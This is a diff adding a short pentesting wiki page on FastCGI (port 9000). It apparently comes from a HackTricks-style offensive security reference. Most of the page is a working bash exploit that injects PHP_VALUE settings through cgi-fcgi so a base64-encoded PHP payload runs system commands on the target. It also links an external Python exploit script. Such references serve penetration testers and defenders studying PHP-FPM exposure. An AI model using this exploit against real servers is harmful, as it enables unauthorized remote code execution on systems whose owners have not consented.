+# 9000 - Pentesting FastCGI
+
+## Basic Information
+
+If you want to **learn what is FastCGI** check the following page:
+
+{% page-ref page="pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md" %}
+
+By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**.
+
+## RCE
+
+It's quiet easy to make FastCGI execute arbitrary code:
+
+```bash
+#!/bin/bash
+
+PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
+FILENAMES="/var/www/public/index.php" # Exisiting file path
+
+HOST=$1
+B64=$(echo "$PAYLOAD"|base64)
+
+for FN in $FILENAMES; do
+    OUTPUT=$(mktemp)
+    env -i \
+      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
+      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
+      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
+
+    cat $OUTPUT
+done
+```
+
+or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
